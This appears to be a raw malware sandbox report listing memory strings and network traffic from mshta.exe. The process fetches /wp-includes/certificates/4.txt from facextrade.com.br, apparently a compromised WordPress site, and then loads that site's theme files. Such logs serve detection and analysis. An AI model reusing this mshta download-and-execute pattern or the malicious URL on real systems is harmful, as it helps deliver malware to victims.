Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh6.ggpht.com/sh
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearchpr
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/vt0
Source: owl.carousel[1].js.8.drString found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000002.1174903419.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.964180535.0000000002C5D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1106302508.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1094588100.0000000002C53000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/NatKL$:
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tiled
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/fusiontables/answer/9185417).
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/
Source: mshta.exe, 00000008.00000002.1174132164.000000000269F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2S
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2d
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2l
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twemoji.maxcdn.com/2/
Source: mshta.exe, 00000008.00000002.1174903419.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.964173241.0000000002C58000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1106302508.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1094588100.0000000002C53000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/maps/vtd
Source: owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://youtu.be/:id
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].cssJump to behavior
Source: unknownDNS traffic detected: queries for: facextrade.com.br
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
